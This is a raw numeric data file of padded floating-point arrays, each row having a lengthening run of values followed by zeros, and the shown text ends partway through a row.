[-2.38543, -3.19663, 1.05623, 3.88225, 1.38505, -3.2749, 0.59849, -1.37625, -1.35029, 2.1471, 0.08039, -4.99317, -1.75372, 2.28159, 0.99162, -0.1934, 1.02277, -3.77327, -2.53072, 2.10193, 2.92546, 0.70782, -0.46627, -2.00554, -0.11323, -1.2209, -0.72497, 0.12228, -0.23736, 1.08204, 1.79865, -0.45025, -1.31427, -1.47629, 0.78417, -1.83015, -3.50506, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.09572, 4.20228, -0.22793, -5.31675, -1.58894, 0.60936, -1.06234, 2.32267, 1.56881, -0.5641, -1.37356, 2.61201, 4.39803, 0.81068, -2.85228, -1.24009, -1.04528, 2.87219, 4.22058, 0.82391, -1.7592, -3.12417, -1.28529, -0.05423, 0.59062, 2.16379, -0.4494, 1.18226, -1.21217, -1.60771, -0.72521, 0.11929, 0.47058, -0.83658, -1.17312, 2.24953, 2.45224, -0.41496, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.56513, -2.91601, -0.68953, 0.93361, 1.20395, 2.3309, 0.21192, -0.62004, -1.98449, -0.56997, 3.9389, 2.58557, -5.28731, -4.26212, 0.78311, -0.21939, -1.09475, -1.20408, -3.69741, -2.93554, 0.57138, 3.24018, 2.43126, 1.21002, -0.50812, -0.78894, -0.17861, -0.63746, -0.8064, -0.29225, 0.04024, 2.22921, -0.54975, 0.55455, 1.00517, -1.68171, -0.86808, -0.12303, 1.30769, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.89132, 2.65968, 2.57981, 0.54755, -0.525, -0.93654, 0.05085, -1.52927, 2.45717, 0.87881, -2.53242, -3.45213, 1.78235, 5.03881, 3.17383, -0.26309, 0.9653, -0.14413, 2.24333, 2.8175, 0.71082, -0.54011, -2.27089, -2.24625, -0.77972, -1.80561, 1.54064, 0.14174, 1.68183, -1.29537, -3.11391, -2.93018, 0.16503, -0.37791, -0.63454, -0.81535, -0.74922, -0.18956, -0.57979, -0.31698, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.70826, -1.56048, -2.99641, 0.71751, -0.13082, -2.12395, 0.74814, 1.73846, -1.5103, -2.19687, -0.86052, 3.66629, 3.16154, -4.02632, -4.03028, -0.32342, -0.33565, 0.20211, -0.24442, -2.24197, -1.97079, -0.73555, 0.83129, 1.12874, 0.62862, 0.98107, -0.34612, -0.46188, -1.53137, -0.82762, 2.10092, 1.49983, 0.86202, -2.17158, 0.98953, 1.60911, 2.26747, 1.59843, 0.41219, 1.98221, 3.06587, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.29057, 0.02138, 2.00778, -1.47701, -0.72351, 2.13103, -1.0676, -0.37223, 0.62569, 3.17138, 2.21638, -3.01052, -3.78268, 1.83898, 3.46251, 2.48022, -0.23832, 0.20986, -0.75679, 2.34919, 2.03144, -0.13883, 0.10296, -1.45796, -0.99776, -0.42403, -1.28925, 0.49559, 0.88595, 1.3284, 0.53906, -0.41613, -1.98313, -0.00032, -1.59531, -0.22543, -0.54749, -1.43697, -0.5364, -1.04366, -0.18895, 0.29915, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[4.0612, 0.83011, -2.54164, 1.07516, 3.422, -0.64671, -1.62498, -0.62363, 0.93496, -1.96554, -1.21019, 0.24126, 2.42869, 1.41646, -2.17178, -1.7686, -1.37915, -1.49602, 0.06088, -1.12525, -2.29569, -0.33299, 1.59994, 2.07342, 0.20445, -0.7981, -0.22727, 0.18362, 0.83771, -1.34347, -2.27709, 1.36148, 1.78278, 1.10687, 0.47278, -1.85493, 0.59309, 1.35434, 2.95249, 3.57922, 1.38757, 1.07729, -0.32166, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.35681, -2.11812, 1.94338, 1.17679, -3.92472, -0.72636, 2.59869, -1.56321, -2.39958, -0.1493, 1.85075, 2.53002, -0.71724, -3.49096, 1.32938, 1.39476, 2.39199, 1.67588, 0.31869, -1.71724, 2.18976, 1.81977, -2.45831, -1.65826, -0.88095, 0.07442, 1.25522, -0.58092, -0.91064, -0.44773, 0.73531, 1.30174, 1.61131, -0.88931, -0.23312, 0.67632, 1.65704, 0.76319, -1.99055, -2.24221, -1.73156, 0.64823, 0.56144, 0.39246, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.69194, 3.94166, -1.25037, -4.94191, 2.71075, 3.05262, -1.40805, 0.89507, 0.94729, 0.78401, -2.34476, -1.6402, 0.42583, 2.86912, -0.58042, -0.12776, -0.00934, -0.81093, -1.78303, 0.57835, -1.1051, -3.05422, -1.21508, 0.90757, 3.40307, 0.95097, -1.56594, -1.07248, 0.3182, 1.21013, -0.79533, -3.06579, -0.34535, 0.79034, 0.21675, 0.9486, -2.29392, -1.77416, -1.22437, 1.46631, 1.72514, 1.03075, 0.24211, -0.22298, -1.24484, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.54264, -1.88543, -0.63402, 3.43929, 0.11977, -3.94906, 0.28302, 2.58906, -0.07558, -1.39663, 0.20403, 0.02295, 1.08258, 0.86106, -0.72467, 1.03453, -1.17012, 0.36433, 3.0518, 1.80717, -1.32102, 1.23151, 2.34704, -1.63975, -2.53142, -1.63126, 0.71343, 1.73392, 1.64637, 0.53641, -0.08648, 0.10279, -0.65645, 0.03109, -0.42516, -1.48293, 1.105, 1.65135, 2.88701, -1.22068, -1.11299, -0.22025, -1.69165, 0.31167, 0.18016, -2.53878, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.62077, -1.37471, 3.26865, -0.66929, -4.86468, 3.26805, 1.90262, -4.02471, -0.73968, 1.03356, 1.73381, -1.10606, -1.71945, -1.10504, 1.81602, -1.94253, 0.32169, 1.2063, -1.39893, -1.5869, 1.01391, 0.90602, -0.99877, -1.13398, -0.33485, 2.05063, 2.0468, -1.45438, -2.19474, -1.2503, 0.17038, 0.74507, 0.0074, 0.03941, 0.54693, 0.42884, -0.16684, -1.45959, -3.35969, -1.86767, -0.98915, 0.68427, 0.53858, 0.44218, -0.74909, 0.57443, 0.62434, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.61991, 2.12435, -4.2914, -0.46704, 4.41188, -0.4712, -3.12784, 1.04932, 1.61444, 0.28488, -2.46855, 0.13134, 0.20401, 0.0545, 0.89676, 1.94387, 2.45458, -0.91273, -1.58578, 1.26062, 0.51434, -1.23476, -0.31514, 1.16765, -0.71862, -2.92015, -1.86195, 0.02775, 0.96855, 2.17939, 0.73927, 0.34868, 0.6867, 0.46883, 0.5878, -0.311, -1.86513, -1.66675, 0.13982, 2.53317, 0.20808, -0.68428, 0.13002, 0.29057, -0.13282, -1.44484, -0.3795, -0.72757, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.32452, -0.30668, 0.51238, 2.1157, -1.80487, -3.60619, 3.07445, 3.45734, -2.51177, -0.86516, 0.97549, 2.49218, 0.72129, -0.54521, -1.01215, 0.56798, -3.18997, -0.39607, 2.08154, 0.09566, -2.57117, -0.66371, 0.38257, 0.61314, 1.55417, 1.30778, 1.72511, 2.11818, 0.24016, -0.67211, -0.39234, -1.24195, -1.56821, -1.14473, -1.96569, 0.07406, 2.13449, 1.64375, -0.29954, -1.92787, 0.27398, 0.82041, -0.13356, -0.22654, 0.98352, 0.92699, 0.42881, 0.17202, 0.30871, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.38114, 2.23939, 2.34955, -5.55348, -0.37609, 3.81101, -2.34151, -3.50236, 1.44042, 1.28352, 1.13655, -2.33298, -0.80179, 0.46635, -0.17028, -0.36138, 2.71272, 1.60808, -0.69239, -0.61019, 2.04412, 1.2187, 0.67303, -1.34619, -0.76547, -1.12377, -2.27357, -1.88052, 0.08056, -0.93124, 1.61816, 0.75746, 0.24286, 1.98759, 0.25703, 0.74163, 1.01121, 0.58033, -0.61639, -0.89768, -1.60576, -0.81872, 0.17203, 0.36447, -1.4743, 0.11122, 0.81755, 0.06874, -0.05854, -0.0299, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.26293, -1.65835, -2.56982, 3.48625, 2.13482, -2.3, -1.79873, 2.06521, 1.55115, -2.76957, -2.12397, 0.4984, 0.66613, -0.63171, 0.23627, 1.18363, -0.1127, -1.70343, 0.3201, 2.19415, 0.33766, -0.93585, -1.20558, -1.12382, -1.77102, -0.34283, 0.55666, 0.27519, 0.70241, 0.39321, -0.36248, 0.9862, 0.36059, -0.34836, 0.70328, -1.19998, -2.3704, -2.05458, -0.30517, 0.81093, 0.39105, -0.4761, -0.17466, 1.78941, 0.94207, -1.04084, -0.95258, -1.66732, 2.06283, 1.0565, -0.93478, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.48338, -0.29844, 2.61554, 0.63597, -5.45367, 1.50535, 4.57574, -1.08703, -3.49974, 1.51871, 1.61803, -0.11115, -1.59302, 0.51106, 0.36062, -1.33696, -1.20596, 3.50165, 1.88776, -1.84705, -2.394, -0.5049, 0.4028, 2.5223, 1.84684, 0.98001, 0.31767, -0.14954, -0.4163, 0.33012, 0.36083, 0.95471, 1.74548, -0.62208, 0.36938, 0.14825, 0.51373, 1.59569, 1.00731, -0.14223, 0.00285, -0.32888, -0.27043, -1.55723, -0.5818, 0.39495, 1.00697, 1.16066, -1.63683, 0.41485, 1.0624, 1.05631, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.60883, 3.06432, -2.84413, -3.07071, 5.07087, 0.55718, -3.96487, 0.55777, 2.84848, 1.33382, -0.83036, -1.24516, 1.55923, 0.62976, -1.21524, -0.31873, 0.91583, -2.73141, -2.89136, 0.44231, 2.50471, 2.60993, 1.43781, -0.04689, 0.54711, -0.54835, -0.20288, 0.0721, -0.45921, -0.76086, -0.81118, -2.90791, -1.15218, 0.90293, -0.80106, 0.29086, 0.44024, -0.16618, -0.77666, -1.75609, -0.478, 0.57783, -0.58958, 0.10089, 0.63373, -0.18128, -1.20702, -0.49664, -0.31882, -2.1302, 0.60515, -2.05067, -1.2738, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.24034, -3.62264, 2.0161, 3.41113, -2.43595, -5.20166, 0.87225, 3.09796, -0.7468, -2.68284, 0.79355, 1.2331, -1.70433, -2.31113, 0.55916, 1.55506, -0.26421, -0.63291, 4.61706, 1.93495, -0.90331, -1.10972, -2.54738, -3.25812, -0.47905, 0.9057, -0.08041, -0.25378, 1.04662, 2.32329, 0.31335, 1.60666, 1.44444, 2.35682, -0.37501, 0.03156, -0.30189, 0.27383, -0.70004, 1.69465, 0.66523, -0.40107, -0.95, -0.25775, -0.37779, 0.94509, -0.57231, 0.10242, 2.51228, 0.46638, -1.29902, 0.37275, 0.41416, 1.26698, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.72605, 3.96691, 0.28114, -4.42165, -1.78452, 6.05182, 0.56777, -4.22876, -0.32229, 1.99587, 0.28732, 0.66309, 0.46329, 1.53529, 0.27115, -1.41669, 0.13474, 1.76471, -3.02273, -3.56506, -1.02998, 0.35352, 0.88933, 2.22066, 0.52085, -0.2942, 0.36352, 1.52258, 0.98825, -1.18879, -0.47541, -0.55677, -1.02019, -3.70508, -0.10097, -0.94402, -0.93905, -0.73162, -0.21477, 0.7729, -0.77946, -0.01894, -0.18584, -1.70229, -0.58588, -1.1682, 0.09726, -0.95186, -1.03608, -0.41243, -0.80769, 0.61943, -1.86658, -1.31983, -1.98169, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.40953, -1.86418, -2.44239, 2.77685, 4.21283, -3.01601, -3.70333, 1.28264, 1.40072, -1.02513, -0.66554, -0.60165, 1.06367, -0.7238, -1.72026, 0.02433, -0.24124, -0.50281, 0.73012, 5.23786, 1.96011, -0.06083, 1.86985, 0.19032, -1.4294, -1.41725, 1.42005, -0.71675, -2.58102, -0.29042, 2.08563, -1.01284, -0.3958, 0.52635, 1.77006, 0.80407, -0.74487, -0.75186, 1.23849, -1.27161, -0.25948, -0.36368, 0.65062, 1.04126, 0.50491, 0.27745, 0.3851, 0.30939, -0.70923, 0.28226, 1.8051, -1.64476, 0.93363, -1.0296, 0.10129, -0.58695, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.15211, -1.21297, 3.98116, -0.21718, -4.9078, -0.39606, 5.15822, 0.76528, -1.99123, 0.41299, 0.4041, -1.22856, 0.11069, 0.19187, 2.10882, 1.04025, 0.1013, -0.03043, 0.83926, -2.35689, -1.72273, -0.50192, -1.02086, -1.61858, 1.20444, 0.84144, -1.59589, -1.04765, 1.08896, 2.27102, -1.03441, 0.44698, 0.88062, 1.79244, -2.17843, -0.29821, 0.34876, 0.34761, -0.88134, -0.06593, -0.04728, 0.7984, -0.54752, -1.20927, -1.29733, 0.45315, -0.88111, -1.73631, -1.13723, 0.37506, -0.26121, -0.47494, -0.38755, 2.40528, -0.7578, 0.02507, -0.34928, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 